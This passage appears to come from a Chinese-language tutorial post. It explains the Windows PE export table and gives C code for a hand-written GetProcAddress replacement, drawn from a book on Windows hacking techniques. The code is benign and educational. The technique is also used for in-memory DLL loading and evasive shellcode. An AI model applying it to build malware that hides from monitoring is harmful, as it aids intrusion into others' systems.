    接着,我们开始根据导出表中导出名称的地址偏移列表遍历每一个导出函数的名称,与要寻找的导出函数名称进行匹配。若没有找到,则继续匹配下一个函数名称。若找到,则获取对应偏移的 AddressOfNameOrdinals 的值,这个值就是表示该导出函数在导出函数列表中的位置。这样,我们就可以在导出表 AddressOfFunctions 中获取相应的导出函数地址,并结束遍历,执行返回

    其中,在导出表中 AddressOfName 与 AddressOfNameOrdinals 的值是一一对应的,而 AddressOfName 与 AddressOfFunctions 的值并不是一一对应的。因为导出函数中,并不是所有的导出函数都会有名称,有的导出函数只有导出索引而已。所以,PE 结构便创建 AddressOfNameOrdinals 字段来保存有导出函数名称的函数在 AddressOfFunctions 导出函数地址列表中的位置。
    编码实现// 获取DLL的导出函数// lpBaseAddress: 内存DLL文件加载到进程中的加载基址// lpszFuncName: 导出函数的名字// 返回值: 返回导出函数的的地址LPVOID PEGetProcAddress(LPVOID lpBaseAddress, PCHAR lpszFuncName){ LPVOID lpFunc = NULL; // 获取导出表 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE *)pDosHeader + pDosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE *)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表的数据 PDWORD lpAddressOfNamesArray = (PDWORD)((BYTE *)pDosHeader + pExportTable->AddressOfNames); PCHAR lpFuncName = NULL; PWORD lpAddressOfNameOrdinalsArray = (PWORD)((BYTE *)pDosHeader + pExportTable->AddressOfNameOrdinals); WORD wHint = 0; PDWORD lpAddressOfFunctionsArray = (PDWORD)((BYTE *)pDosHeader + pExportTable->AddressOfFunctions); DWORD dwNumberOfNames = pExportTable->NumberOfNames; DWORD i = 0; // 遍历导出表的导出函数的名称, 并进行匹配 for (i = 0; i < dwNumberOfNames; i++) { lpFuncName = (PCHAR)((BYTE *)pDosHeader + lpAddressOfNamesArray[i]); if (0 == ::lstrcmpi(lpFuncName, lpszFuncName)) { // 获取导出函数地址 wHint = lpAddressOfNameOrdinalsArray[i]; lpFunc = (LPVOID)((BYTE *)pDosHeader + lpAddressOfFunctionsArray[wHint]); break; } } return lpFunc;}
    程序测试我们直接运行程序,获取程序中的 GetModuleHandleA 函数的导出地址,并与 API 函数 GetProcAddress 获取的地址进行比较,结果相同。

    总结这个程序不是很复杂,但是关键是要理解 PE 文件结构的导出表,要理解清楚导出表的工作原理。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-23 17:23:48
显示 15 到 30 ,共 15 条
eject